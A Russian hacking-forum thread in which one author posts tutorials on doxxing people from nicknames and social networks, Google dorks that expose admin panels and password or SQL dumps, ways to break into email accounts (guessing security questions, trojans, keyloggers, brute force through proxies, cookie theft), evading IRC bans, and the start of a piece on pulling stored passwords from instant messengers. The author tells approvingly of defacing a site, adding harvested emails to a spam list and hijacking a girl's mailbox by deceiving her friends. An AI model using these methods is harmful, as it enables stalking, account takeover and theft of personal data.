    Первым делом нужно узнать под какими никами он вообще существует в Интернете. Далее по этим никам можно попытаться найти информацию в других страницах Интернета. Ников у человека может быть несколько, и оставляя информацию от каждого из них, он дает нам очень большой простор для действий.

    По каким же критериям можно прилинковывать несколько ников к одному человеку? Ну самое естественное, это когда у двух различных людей с двух разных форумов один, к примеру UIN.

    Ситуация: Однажды мне понадобилось воспользоваться навыками Социальной Инженерии и выдать себя за знакомого некого человека. Я знал, что второго случая мне не представится, и потому нужно досконально изучить интересы и манеры человека, который якобы является моим знакомым. Взяв в качестве начального идентификатора номер ICQ, я отправился на поиски.

    Через минут сорок в моем блокноте было несколько похожих аккаунтов, среди них

    Безумный Макс - постоялец какого-то богом забытого, никем не обновляемого уже лет пять форума, посвященного хип-хопу. Хип-хоп меня не привлекает, но тем не менее по названию групп я определил что расцвет форума пришелся на времена, когда это движение только приходило в нашу страну. То есть довольно давно.

    И AliGment, игрок на какой-то бирже. Брокер, в общем. Мне казалось, что между не было ничего общего, пока я не отправился размышлять на кухню, прихватив сигаретку. Никотин упорядочил мысли, и... меня осенило! Я на правильном пути!

    Ведь Безумный Макс, тот мальчишка, который так верил в хип-хоп не вечно оставался подростком... И этот успевающий полуюноша, полудяденька, специалист в экономическом секторе, акула биржевых торгов он и есть! Дальнейший сбор информации уже не составил труда. Панов М.С. занимал некую должность в частном инвестиционном фонде города Екатеринбурга. На сайте компании можно было узнать и телефон и точное название должности и адрес офиса компании. Хоть в гости прям едь.

    Но такие случаи бывают редко. Чаще Хакеру предстоит анализировать информацию намного скуднее чем имя, фамилия и номер icq. Когда нужно найти одного и того же человека в различных уголках интернета, в ход должно идти все. Даже такие на первый взгляд мелочи как подпись, статус и так далее. Чем оригинальнее личность, тем легче ее найти.

    Если удается выйти на блог пользователя, он может оказать существенное подспорье, даже если не содержит личных данных. Тем не менее по контенту блога можно судить о личностых пристрастиях, интересе, мировозрении человека. А зная его интересы, легче будет вычислить его местообитания.

    Иногда поиск и сбор информации о человеке может занять всего пару минут. Если повезет.

    Ситуация: Мне нужна фотография девушки, о которой я ничего не знаю, кроме ника. И желательно еще какие-нибудь сведения. Знакомая ситуация? :)

    Пройдясь по ру-форумам, я наткнулся на пост, где девушка с искомым ником просила помощи в оформлении дизайна сайта. Сайт был посвящен романтической поэзии современности, и че-то там еще, но меня интересовало не это. Ввев искомый сайт в www.wservice.info я мигом узнал всю интересующую меня информацию, а именно имя, фамилию, номер телефона. С этими данными я пошел в популярнейшую социальную сеть нашей страны, и выудил еще много и много информации.

    Кстати, о социальных сетях.



    Многие воротят от них нос. В целом правильно делают, но все-таки иметь по аккаунту в каждой из них будет очень и очень полезно. Пусть с подставными именами, фамилиями, с несуществующими данными. Все равно! Главное что бы у Вас был доступ к данным, которые предоставляются зарегистрированным участникам.


    Ведь социальная сеть - клондайк информации. Все пользователи открыты для общения, и ради повышения рейтинга, и прочих вещей, готовы рассказать о себе всю превсю информацию. А когда пользователь открыт, его легко найти по всяким whitepages. Например: web.icq.com/whitepages/search

    На последок скажу, что удача играет немаловажную роль, а она сопутствует каждому, кто ее достоит. Под лежачий камень, как говорится, вода не течет. Применяйте эти знания вкупе с Google-Hacking, и у Вас все получится! :)

    ----
    http://phone.rin.ru/ - Российская Информационная Сеть. Множество предприятий, учреждений, информации в целом.
    http://www.anywho.com/wp.html - поиск людей в USA.
    www.telefonbuch.de - телефонный справочник германии.
    http://www.nomer.org/ - неплохой сайт абонентов России.
     
  5. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Как правило каждый день, и в сущности не по одному разу, нам приходится сталкиваться с необходимостью использовать средства поисковых систем, для получения какой-либо информации. А задумывался ли ты, что именно с помощью поиска во многих случаях ломаются сайты и форумы? То, что владелец портала хочет скрыть от посторонних глаз, зачастую остается открыто пронырливому поисковому боту. А уж его данные становятся достоянием общественности. Как взломать сайт с помощью google.com, и насколько это реально, мы сейчас и рассмотрим подробнее... На теории и на практике.

    За google.com уже давно закрепилось звание истинного хакерского поисковика. И дело не в том, что сам поиск в нем очень хорошо реализован, хотя этот факт никто не оспаривает. Часто ли ты заглядываешь по ссылке, расположенной рядом с формой ввода запроса: "Advanced Search", или в русской вариации "Расширенный поиск"? Если нет - самое время этим заняться. Или, по крайней мере, просто изучить язык запросов google.

    Ты не поверишь, но, в свое время, сайт салона связи "Элефант" (http://elefant21.ru/) был "взломан" мной с помощью обычного поискового запроса:

    allintitle:"Администраторская часть" site:ru


    Директива site указывает в данном случае, что искать нужно в русской доменной зоне. allintitle позволит выудить только те страницы, в заголовке которых находится искомое словосочетание. В итоге мы получим в самых первых сайденных страницах путь к админке сайта - http://elefant21.ru/admin/items/1909.html. Сейчас ты уже можешь наблюдать там надпись "Нет доступа, user it not logged" и форму ввода пароля и логина. Это сейчас. Тогда же этого не было, и вся защита была построена в расчете на то, что пользователь просто напросто не найдет входа в админку, ведь кроме администраторов о ней никто не знает. Кроме, как оказалось, гугла.

    В итоге, через десять минут исходный код был подправлен, на сайт был залит логотип Уруру, прописанны ссылки на него, и сайт украшала гордая надпись "Hacked by Уруру-Team. Kiss you, Bill". Ничего сверхестественного! Такие ошибки часто встречаются на самописных движках. А то, что этот движок был самописным, легко понять, пропарсив исходный код страницы на предмет именных переменных характерных какому-либо движку, или даже просто метатегу generator.

    Бывает, что администраторы пытаются противостоять этому, запретив индексирование какой-либо части сайта, путем размещения соответсвующего правила в файл robots.txt. Но опять же... Хакер он ведь не робот. А этот файл всегда доступен для чтения (иначе как его прикажете читать поисковикам). И расположен он обычно в самом корне сайта, например:

    http://hack-academy.ru/robots.txt


    Глянув, какие каталоги запрещены к индексации, интерес к ним может только разгорется, вдруг там приватные сплоиты раздают нахаляву? А запрет на сканирование поисковиками, совсем не распространяется на Хакера. Это совсем не одно и то же, что и физический запрет на чтение.

    Кстати, заменив "Администраторская часть" на "Секретная зона" иногда удавалось получить доступ к частной порно коллекции. Да-да, из тех, за которые просят отправить платную sms на такой-то номер. Но мы отвлеклись... =)

    Например, ты заходишь в Hack-News нашего портала и видишь надпись, что найдена уязвимость в таком-то паблик скрипте, например CMS или форуме. И указанна пошаговая последовательность действий, которые приведут к полному контролю сайта. Теперь осталось найти все сайты, на которых стоит эта версия движка, простым запросом, например, если под ударом оказался форум типа vBulletin 3.7.3, его и ****аем в поисковый запрос:

    Powered by vBulletin 3.7.3


    Еще желательно установить в опциях вывод не 10 результатов на страницу, а например 50. Так будет проще.

    Также гугл может выдавать в ответ на запрос файлы одного конкретного типа. Например ты, найдя уязвимость в популярном движке для Интернет-Магазинов, а именно в скрипте покупки товара (пусть это будет getitem.php), где не фильтруется какой либо параметр, допустим id выбранного товара (itemid), можешь составить запрос типа:

    filetype:php inurl:itemid


    И найти все Интернет-магазины, юзающие данный скрипт. Или, зная, что некая программа (например софтина супер секретного интернет-банка) хранит зашифрованные или не очень пароли в файле pswd.xdh. Если к такому файлу кто-то непреднамеренно, допустим по неосторожности, открыл доступ, то запросом:

    filetype:xdh inurl:pswd


    мы сможем их найти. Прочитать. Расшифровать/Сбрутить пароль... И наслаждаться победой.

    Пример, когда открыт для чтения каталог, содержащий n-ое количество файлов. Такую страницу веб-сервер помечает жирной надписью в самом верху "Index of _имя каталога_". Составив запрос "Index.of /passwords", к примеру, у нас есть призрачный шанс посмотреть директорию с именем "passwords" какого либо ресурса. В папке с таким вкусным именем вполне может находится не менее сладкий контент. В запросе между Index и of стоит точка. Это общепринятое обозначение пробела в гугле. Из той же области очень заманчиво выглядит запрос:

    Index.of /admin site:ru


    Разумеется директивы ru может и не быть. Просто в русскоязычных сайтах тебе, наверное будет удобней копаться. Но если проблем с английским языком нету - смело выбрасывай ее. Тогда ассортимент найденых сайтов увеличится в тысячи раз!

    Базы данных тоже часто доступны для чтения. Без шуток! Вот например запрос:

    filetype:sql inurl:pass


    Среди прочих ссылок находим: http://img.downbt.com/pass.sql. Открываем и оп-па!

    Перед нами дамп базы данных с красивым именем "password". И тут же структура таблицы free_users:

    free_user (
    id int(10) NOT NULL auto_increment,
    username varchar(15) NOT NULL default '',
    pwd varchar(32) NOT NULL default '',
    email varchar(60) NOT NULL default '',
    q varchar(10) default '0',
    a varchar(50) default NULL,
    group_id varchar(50) default '1',
    admin_g smallint(4) default '0',
    PRIMARY KEY (id),
    KEY username (username),
    KEY email (email)
    ) TYPE=MyISAM;


    Затем идет множество запросов "INSERT INTO free_user", которые и заполняют объявленные поля таблицы различными данными.

    Кстати, данные из полей "KEY email (email)" я уже добавил в персональную спам базу. Авось и пригодится. =) Интересно, не правда ли? И это я далеко, в общем-то, не лазил... Все "вкусные" запросы не перечислишь. Да и варьируются они в общем-то от твоих нужд и потребностей. В общем, потренируйся, навык пригодится.
     
  6. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Очень часто ребята забывают пароли от своих почтовых ящиков, и кричат на всех хакерских сайтах и форумах: "Как взломать e-mail"? И добрые хакеры, желая помочь бедным склерозникам, бывает и помогают. Советы-то они бесплатные...

    В этой статье будут рассмотрены основные способы взлома почтовых аккаунтов.


    Вспоминаем пароль:

    Очень часто ответ на секретный вопрос, который задается при попытке восстановить пароль, можно подобрать. Ну ведь правда, ей-богу такие контрольные вопросы иногда устанавливают. Например тот же "Кличка моей собаки". Все! Автоматически все друзья и знакомые могут зайти в этот ящик. А вопросы типа "Любимое блюдо" или "Любимая песня" легко можно узнать после пары часиков общения с жертвой. В общем, если нужно взломать мыло - первым делом пробуем заполнить форму восстановления пароля. Как знать, может в данном случае это будет самый легкий способ.

    Используем троян:

    Существуют множество троянов, которые могут утянуть пароль на е-мэйл с компьютера жертвы. Это могут быть как запомненные браузером формы, так и записи в Outlook Express, или другом почтовике. Из троянов самый доступный (но не самый эффективный) для новичка будет pinch 3. Его настройку и использование я описал в статье Как настроить пичн? Мануал по настройке трояна pinch.. На этом останавливаться не будем.

    Устанавливаем кейлоггер (дополнение к "Испольуем троян"):

    KeyLogger - это клавиатурный шпион. Он сидит незаметно себе в системе и тихонько пишет все нажатия клавиш в файл. Особо умные кейлоггеры еще и опознают, в каких окнах человек печатает сообщение. Его отличие от стандартных троянов в том (почему я вывел в отедельный заголовок), что тут мгновенного эффекта просто не будет. Вдруг человек захочет проверить свою почту только через неделю. Это же сколько информации мусорной кейлоггер запишет в файл перед тем как мы его прочитаем!

    *****Force:

    Что в переводе означает - грубая сила. Для этого нам понадобится программа "WWWHack" или любая другая. Ищи по ключевым словам "****+e-mail". Что делает ****форс? Да ничего сверхестественного. Он просто берет пароли один за одним из специально заранее сгенерированного листка, и проверяет - а не подойдет ли? Что бы сервер не забанил IP (после например пятой попытки), используются транзитные ****** сервера (Что такое ****** узнай в статьеАнонимность в сети). Что бы не генерировать листы паролей самостоятельно, хакеры давно уже придумали и составили множество листов паролей. Языковых, Тематических, Общих. Разных, в общем. Ведь очень часто пользователи придумывают пароль ассоциативно с чем либо связанный. За листами паролей обращайся в раздел Инструменты Хакера ( Листы Паролей ).

    Прямая атака:

    Неет... Это не с битой в темном переулке. С помощью различных методов атак (например XSS), можно получить в распоряжение куки пользователя. Обычно, куки не хранят пароль в чистом виде. Но тем не менее, импортировав их в свой браузер, можно продолжить сессию на сайте вместо жертвы, без дополнительной идентификации и авторизации.

    Атака на сервис:

    Это, наверное, наиболее сложный, но так сказать самый "Хакерский" способ. Смысл его заключается в том, что мы, используя поиск, находим и ндентифицируем жертву на разных форумах, сайтах, чатах. И уже начинаем проверять эти сервисы на уязвимость. Ведь получив базу данных в свое распоряжение, мы можем отыскать и пароль нужного человека. Зачастую пароли для различных служб пользователь вводит одинаковые.

    Ну а приемы социальной инженерии воистину безграничны. Социальная Инженерия вообще штука хорошая. Однажды, году в 2005-м, я тесно общался с одной девушкой из Питера под непонятным ником hashira выходит тут без проблем ести возможность скачать бесплатно vkmusic . Уж не помню, чем она меня обворожила (может в TCP/IP канал мой подсыпала чего:)), но когда она пропала на неделю, я отправился на поиски. Провев усиленный штурм форумов, сайтов, социальных сетей, я узнал ее почтовый ящик, и то, что на этом сервере есть возможность ввода номера телефона в личную инфу. Первым делом я решил сломать ящик (только из честных побуждений). Так как ****ить было лениво, я пошел в службу восстановления пароля. Там мне задали вопрос "Мое прозвище в школе" (Тогда она уже заканчивала школу)... ну чтож. Это не сложно. Достаточно войти в доверие к кому-нибудь из ее знакомых и выудить эту инфу. Есть вариант выудить ее у нее самой, но не в моем случае. Через одну из популярнейших социальных сетей я вышел на ее знакомых.

    Узнать - школьные это знакомые или нет, мне удалось только пообщавшись с ними "воочую". Так я вычеркнул половину из них Лес мотовуна и курорты истрии. . Но тем не менее, спустя десять минут я уже болтал с несколькими ее друзьями через подставной номер аськи. "Честно" представившись ее знакомым, который просто хотел поинтересоваться, куда же она пропала, я шаг за шагом подбирался к школьной теме. Результат не заставил себя ждать, через некоторый промежуток времени я уже ****ал ответ на контрольный вопрос. И "копировал"-"вставлял" номер телефона.

    Так же, для вычисления круга знакомых жертвы, можно поробовать взломать номер ICQ (Атака на ICQ). По названиям групп и по личной информации контактов в списке можно составить довольно сносный портрет человека.

    Но возвращаясь к моему рассказу... В общем, я не помню дословно, что она мне сказала по телефону, но с тех пор мы с ней не общались:). Но наплевать - для меня тогда каждая удавшаяся атака была просто праздником, и я был так горд собой, что забыл - на том сервере после того как правильно ответишь на вопрос - предлагают ввести новый пароль, который в дальнейшем будет использоваться для процесса авторизации.

    К чему я рассказал эту историю? Ведь, по сути, тут никакого метода взлома не применялось. Вот именно! Все бывает гораздо проще. Не нужно выстраивать хитроумные планы и засылать троянских коней пачками. Идите по пути наименьшего сопротивления. Ведь правда, путей и вариантов добычи секретной и конфиденциальной информации настолько много... Что мне кажется никакое математическое множество не способно в себя их вобрать. Надеюсь, что данное руководство хоть чем-нибудь вам поможет. Удачи!


    P.S: Я не упомянул такой важный способ как атака на сам почтовый сервер. Я не забыл, нет. Вот в чем он заключается. Хакер пытается его атаковать, только предварительно изучив программное обеспеченье которое на нем инсталлированно. Сделать это можно по баннерам (приветствиям) которые различные сетевые приложения отсылают клиенту при логине.

    Например, нам надо узнать версию FTP сервера на удаленной машине. Используя графический FTP клиент нам это узнать вряд ли удасться. А вот с помощью консоли - пожалуйста:

    fen@Sea-System:/$ ftp
    ftp> open hack-academy.ru
    Connected to hack-academy.ru.
    220 hack-academy.ru FTP server (Version 6.00LS) ready.
    Name (hack-academy.ru:fen): fen
    331 Password required for fen.
    Password:
    230 User fen logged in.
    Remote system type is UNIX.
    Using binary mode to transfer files.


    Жирным шрифтом я выделил как раз версию клиента, которую я получил от фтп-сервера в приветствии! Еще даже до авторизации... Зная версию какого-нибудь ПО, я ищу к нему эксплоит. Или говоря по другому - программу, которая используя уязвимость в данной программе позволяет... Ну... например выполнить произвольную комманду от имени данного демона. Или вовсе повысить привелегии. А ошибки в программах находят каждый день! И в ближайшем будущем тенденция не изменится...

    Длинный какой-то подскриптум у меня вышел, угу. :)
     
  7. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Введение.
    Для новичков, не знающих, забывших и просто любопытных.
    И вот Вы в IRC. Это такое же место жительства/пребывания как и все остальное. Как и везде у Вас есть какие-то свои данные. Рассмотрим, какими данными Вы как пользователь сети обладаете:
    1) При вводе команды /whois Nick , можно увидеть следующее -
    [06:11:32] * Nick is ~ident@host* real name
    [06:11:32] * Nick using irc.nnov.net, Nizhny Novgorod (TTK-NN)
    [06:11:32] * Nick has been idle 54secs, signed on 56secs ago
    [06:11:32] * Nick End of /WHOIS list.
    где Nick (ник) - Ваш ник, произвеще, название;
    ident (идент) - Ваш идент, что такое идент можно почитать http://ru.wikipedia.org/wiki/Ident ;
    host (хост) - Ваш хост, подробнее что такое хост можно почитать тут http://ru.wikipedia.org/wiki/Host ;
    real name - тут подразумевается наличие Вашего реального (мирского имени), однако многие это упускают и вписывают сюда все что радует их глаз и правильно делают =)
    2) Помимо явно видимых данных, выше перечисленных, у Вас еще есть и данные которые показываются на запросы /ctcp . Это ping (пинг), version (версия клиента), time (время), finger (фингер). Они, как правило, по умолчанию имеются в клиенте, но и можно посредствам несложных действий, выставлять свои. Обычно иркоператоры не смотрят эти данные, но при каких-то серьезных наказаниях, вполне вероятно, поэтому эти данные при обходе в некоторых случая необходимо учитывать.
    3) Также любой уважающий себя пользователь, прибывающий в сети какое-то время имеет зарегистрированный ник, прилинкованные к нему ники, зарегистрированные каналы. Следует помнить, что при регистрации ника Вы указываете какой либо email адрес, т.е. этот адрес будут видеть иркоператоры, а также им будет доступен список ников зарегистрированных на этот адрес. К тому же, они будут видеть и список приликнованных ников к какому либо основному нику, правда эта функция ограничена привелегиями на сервисах (насколько мне известно, к этому имеют доступ с привелегией на сервисах от Services Oper, подробнее об этом http://forum.hack-academy.ru/showthread.php?t=35 ).
    Подведем итог. Вы имеете в IRC данные: ник, идент, хост, зарегистрированный ник, линкованные ники, версию клиента, время, email адрес etc. Естественно, в идеале (идеал - когда Вас не смогут найти/вычислить etc) нужно менять все приведенные выше данные. Это делается либо вручную либо по средствам скриптов как для IRC-клиента так и различного вида war bot'ов.

    Основная часть.
    Есть у меня данные и что? Как использовать в примерах и пояснениях.

    Синтаксис akill'ов/pakill'ов (K), kline'ов, armod'ов (R), E:line - исключений (E) имеют следующий вид:
    akill/kline:
    -server_с_которого_Вы_сидите:&ISERV- K:ident@host:nick_ircop'a (причина):nick::дата_окончания
    pakill:
    -server_с_которого_Вы_сидите:&ISERV- K:ident@host:nick_ircop'a (причина):*::permanent
    armode:
    -server_с_которого_Вы_сидите:&ISERV- R:ident@host:nick_ircop'a (причина):nick::дата_окончания
    E:line:
    -server_с_которого_Вы_сидите:&ISERV- E:ident@host:nick_ircop'a (причина):nick::дата_окончания
    где здесь и далее ident - идент пользователя, host - хост пользователя, nick - ник пользователя, nick_ircop - ник IRC Operator'а.

    Т.е. наказание может поставиться по всем трем данным сразу (ник, идент, хост) или по одному из данных (чаще всего хост или ник) или в каком либо сочетании данных (ник-идент, идент-хост, ник-хост). Если поставлено по нику, то обойти не стоит труда, просто сменить ник в настройках клиента и вперед. Если поставлено наказание по ident'у, то тоже самое - обойти не стоит труда: изменяем идент в настройках клиента и вперед Послушный Lowrance эхолот дайвингисту для моря . В принципе, имхо, если стоит по хосту, то и в этом случае все довольно просто, к счастью, анонимных проксей чертовая туча =). Ну а если поставили в совокупности по всем трем данным или в сочетании (например, ник-хост, ник-идент, идент-хост), то значит придется менять все данные или их совокупность.
    Если известна маска поставленного наказания, то обойти не стоит труда. Касательно сети RusNet она может быть известна если Вы или Ваш бот-логгер постоянно присутствуете на &iserv (правда это не может длиться вечно ибо рано или поздно доступ со всех серверов на &iserv будет закрыт), подробнее что есть этот &iserv можно прочитать тут - http://forum.hack-academy.ru/showthread.php?p=167#post167 . В противном случае Вам придется менять все свои данные при обходе, т.е. грубо говоря, угадывать. Сделать это довольно просто. Ник и идент легко меняется в настройках любого клиента, хост можно использовать либо бнц либо ******, которых к слову существует целая куча. Если Вас "убили", то не стоит второй раз заходить с теми же данными. Вы должны изменить все свои данные, включая реал неим, иначе вычислить Вас не составить труда (все произойдет за секунду) и отправить обратно в оффлайн.
    Наглядные примеры:
    1. [19:13:49] -irc.alfa-com.ru:&ISERV- K:*gadochka@88.85.*:Galadriel (No warbots.):*::Thu Nov 26 23:13:42 2009
    [18:24:37] -irc.alfa-com.ru:&ISERV- K:*dhkd@89.250.20.2:AzriMan (You are banned, Читайте сообщение прошлого kill.):*::Thu Nov 20 22:24:32 2008
    В данном случае, акил поставлен по маске вида ident@часть_host'а/host. Его легко обойти. К слову идент очень просто меняется в настройках любого клиента, например, в mIRC чтобы сменить идент нужно ввести /emailaddr адрес_почты (пример /emailaddr menqu@mail.com) и затем набрать /server ( адрес не обязательно должен быть настоящим, оно никому не нужно ) либо ту же самую процедуру можно проделать в настроках mIRC - набрать /quit ( если вы подключены к сети в данный момент ), нажать alt+O -> Connect (Подключение) -> Email Address (E-mail) вписать желаемый идент ( адрес почты) и уверенно жмякнуть кнопку Ok.

    2. [17:07:45] -irc.alfa-com.ru:&ISERV- K:*@120.50.180.173:Stream (You are banned, Open proxy/socks.):*::Sat Nov 22 21:07:40 2008
    [01:24:10] -irc.alfa-com.ru:&ISERV- K:*@err.cylab.cmu.edu:Galadriel (You are banned, Брысь):*::Fri Nov 28 05:24:08 2008
    [01:31:58] -irc.alfa-com.ru:&ISERV- K:*@189.1*:Kis (Trojaner Netz. Всех, кого задело случайно - мера временная.):*::Thu Nov 6 06:31:45 2008
    Тут акил поставлен по маске вида *@host, т.е. просто на хост пользователя. В таком случае Вам следует сменить хост, путем например, смены ****** или использовать хост bnc (бнц). Для тех, кто вдруг не знает: bnc (от bouncer) - irc-******, программа, висящая на каком-то сервере, и выступающая посредником при коннекте к ирк, при этом у Вас будет не собственный хост, а хост бнц. Это что-то типо автоответчика - Ваш ник висит 24 часа в сутки и сохраняет приватные сообщения.

    3. [17:59:48] -irc.seb.org.ua:&ISERV- K:*@*:Galadriel (We don't need these c001 h4ck3rz [30]):Х4::Sun Sep 7 02:01:06 2008
    Наказание выставлено по нику Х4. Тоже самое обойти наказание не стоит труда, сменить ник и "попутного ветра".

    4. [17:53:34] -irc.seb.org.ua:&ISERV- K:*@*:Galadriel (Fake services.):NickServ::permanent
    [14:57:33] -irc.alfa-com.ru:&ISERV- K:*@*:Galadriel (Good bye):KyzeN_74::permanent
    В данном случае выставлены пакилы по никам. Такие ники уже нельзя будет использовать никогда. Обходить также: сменой ника. Ко всему прочему если Вы не нарушитель вовсе никакой и смените, находясь в сети, на подобный "наказанный" ник, то Вас кильнет с той же причиной и следствием, как будто Вы тот самый нарушитель. Это можно использовать в каких-то своих целях, например один из вариантов использования, представится "божим одуванчиком" и попросить какое либо исключение для Вас.

    5. [21:11:26] -irc.alfa-com.ru:&ISERV- K:*@86.106.34.*:Galadriel (No trojans):*::permanent
    Обычный акил, только перманентный по хосту, обходится как сказано чуть выше.

    6. [05:07:15] -irc.seb.org.ua:&ISERV- K:*@chanserv.info:Galadriel (Bad hostname):*::permanent
    А тут стоит пакил на хост бнц, кем-то зарегистрированный. Это уже более интересный случай для обхода наказания. Думаю, всем известно,что обладая доменом первого уровня, можно на его основе вписывать какие угодно домены последующих уровней. Например, в данной ситуации можно повесить на заданный IP хост что-нибудь по типу slovo.chanserv.info, также можно сменить IP путем покупки другова, а от прежнего отказаться. Немного обязывающие процедуры, но, imho, чрезвычайно полезны тем, кто имеет свое бнц с хвостигами.

    7. [17:50:34] -irc.seb.org.ua:&ISERV- R:*@ip-10-49-116-103.is74.loc:Gnomus (перешли письмо счастья еще 10ти людям и получи акилл на 3 дня):*::Sat Mar 22 12:50:27 2008
    [23:16:57] -irc.alfa-com.ru:&ISERV- R:*5c2fa9??@*:Kis (ban override, armode override try, XAB):*::Sun Nov 30 03:16:51 2008
    [22:39:54] -irc.alfa-com.ru:&ISERV- R:*bj@217.118.83.1:Kis (Флуд каналов информацией, имеющей статус конфединциальной.):*::Sun Nov 16 02:54:49 2008
    [23:07:20] -irc.seb.org.ua:&ISERV- R:*muxal22@*:Kis (Простой способ поиметь проблемы. Спам запрещен.):*::Sun Aug 31 19:08:43 2008
    [03:36:18] -irc.seb.org.ua:&ISERV- R:*@*:Kis_ (Spam):awp12345::Fri Feb 8 01:37:12 2008
    Поставленные армоды на маски, идею их обхода я уже описало выше.

    А теперь приведем пример как можно использовать E:line (исключения из наказаний) поставленные тому или иному пользователю/группе пользователей.
    8. [13:57:22] -irc.seb.org.ua:&ISERV- E:pavlinho@*:Gnomus (Excluded from autokills, akill on *cpe.net.cable.rogers.com):*::Sun Mar 2 08:57:08 2008
    Исключение поставлено на идент пользователя. Если Вам стало известно такое исключение, а Ваш хост находится в акиле, то Вы просто меняете идент и вперед, Вы в сети, несмотря на то, что хост в акиле.

    9. [14:16:23] -irc.alfa-com.ru:&ISERV- E:*@*:alk (Excluded from autokills, for Лёха):mon1k_::Fri Nov 14 18:16:23 2008
    Исключение выставлено по нику. Это можно использовать, но ненадолго и если пользователь с этим ником не в сети (если в сети, оно не даст сменить на такой ник). У Вас будет 20-60 секунд примерно, после захода в сеть, для того чтобы что-то успеть сделать. Практика показывает, что для мелкой пакости этого достаточно. Порою, иркоператоры неграмотно ставят исключения или юзеры просящие эти исключения не умеют пользоваться сервисами сети, а конкретно, NickServ. Например, если скажем в данной ситуации было бы поставлено исключения вида *mon1k_* или *mon1k_ или mon1k_*, то воспользоваться этим было бы еще проще: зайти/сменить ник на, скажем, mon1k_|кушаю/первый_mon1k_/ лучший_mon1k_забияка и можно продолжать начатое =).

    10. [20:44:24] -irc.alfa-com.ru:&ISERV- E:*@*.is74.ru:Galadriel (Good user):Furik::Sat Nov 29 00:44:15 2008
    [12:44:16] -irc.alfa-com.ru:&ISERV- E:*@ext-gw.wellcom.tomsk.ru:Galadriel (Good user):D1sp`etcher::Fri May 8 05:44:12 2009
    [19:09:52] -irc.alfa-com.ru:&ISERV- E:*@94.51.0.0/19:Galadriel (Good user.):Katani::Thu Dec 18 23:09:46 2008
    Почти тоже самое что указано в пункте 9, с той лишь разницей что помимо ника, исключение выставлено еще и на часть хоста/хост. В данном случае, это уже могут использовать только пользователи той или иной подсети (имеющие общюю эту часть хоста/хост), незабыв про ник, естественно..
    Заключение.
    В качестве напутствия =)
    1) Лучше всего иметь несколько заранее зарегистрированных ников в сети, естественно, они должны быть зарегистрированные и когда либо использоваться с разных данных (ник, идент, хост, реал неим, электронная почта). Ибо ирк операторы могут посмотреть список, например, всех ников зарегистрированных на тот или иной email. Если Вам дорог какой либо канал или даже каналы, Вы заранее должны прописать там эти ники в список доступа /chanserv access #channel add nick status , назначить наследников и etc.
    2) При обходе Вы не должны сидеть только на тех каналах, на которых Вы обычно сидите. Зайдите еще на пару тройку абсолютно левых каналов, по тематике не связанные совсем с Вашим прошлым прибыванием. Не забывайте, что ирк операторы видять в Вашем /whois nick ВСЕ каналы с любыми режимами на них и могут смотреть кто присутствует в канале (who #channel) не заходя в канал.
    3) Прочитать пост http://forum.hack-academy.ru/showthread.php?p=167#post167 и понять, а главное осознать, что IRC Operator'ы ВСЁ видят: входы/выходы пользователей, обращения к сервисам сети, смену ников, каналы с режимом секретности +s, и т.д. и т.п. И действовать по обстоятельствам. Последующие конекты после наказаний, не должны быть похожие на предыдущие.
     
  8. cR0NuS
    cR0NuS 27 май 2016 Заблокирован(а) 218 3 май 2016
    Объеденяй всё под один пост!!!
     
  9. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    пытался, вылезла табличка тип 20000 символов в одном сообщении нельзя
     
  10. Скриптик2016
    Скриптик2016 27 май 2016 Заблокирован(а) 84 22 май 2016
    Я уже задумывался об том всем и читал) и самы по мне оптимальный и интересный вариант социальная инженерия)
    Так как с помощью нее только что ты хотел можно узнать но и не что новое и интересное)
     
  11. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    согласен, но для людей которые не совсем понимают за чем нужна соц. инженерия все уроки по ней будут трудно понимаемыми потому я делаю что-то более понятное и лёгкое, но всё равно спасибо за то что оставили своё мнение , мне приятно !
     
  12. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    аххахахаха, ну да бывает, но для того кто этим интересуется это не помеха )
     
  13. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    благодарен вам за оценку ! я польщён .
     
  14. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
  15. EvilLovesMe
    EvilLovesMe 27 май 2016 Журналист LZT (нет) 601 17 май 2016
    очень информативно :) не поленился :)
     
  16. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    лучшая награда это похвала, спасибо огромное !
     
  17. EvilLovesMe
    EvilLovesMe 27 май 2016 Журналист LZT (нет) 601 17 май 2016
    как смогу ставить залетит симпа :)
     
  18. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Меня порой поражает беспечность разработчиков программных продуктов. И данные шифруют, и алгоритмы новые придумывают, и программы свои от взлома защищают, но пользы большой это не приносит.

    Любой более-менее продвинутый пользователь знает, что хранить пароли на диске небезопасно. Самое надежное хранилище паролей - это голова. В то же время, большинство программ, требующих авторизации пользователя, предоставляют возможность сохранения (запоминания) пароля в программе для ускорения процесса входа в систему в дальнейшем. Разработчики реализуют эту функцию по разному - кто-то хранит пароль в файлах настроек, кто-то в реестре, кто-то в защищенном хранилище Windows (тот же реестр, но доступный лишь пользователю System). Вариантов хранения масса. Впрочем, как и методов кражи паролей из этих мест. Существует множество вредоносных программ, основной или дополнительной функцией которых является кража сохраненных паролей с жесткого диска жертвы.

    Мы, ведь с вами, продвинутые пользователи, правда? И поэтому, никогда не сохраняем пароли, а только запоминаем. Верно ли утверждение, что в этом случае наш пароль в безопасности? Давайте проверим.

    Что нам понадобится?
    Spy++ из пакета MS Visual Studio, или любая подобная утилита.
    PE Tools, или любая утилита, позволяющая сделать дамп процесса.
    Hex Workshop, или любой другой шестнадцатеричный редактор.
    MS Visual C++, или любой C компилятор.

    Что будем исследовать?
    QIP. У меня - билд 8040. (qip.ru)
    &RQ. Я использовал версию 0.9.7.4. (andrq.org)
    Mail.Ru Агент. Версия 5.0, билд 2082. (agent.mail.ru)
    Взлом паролей QIP

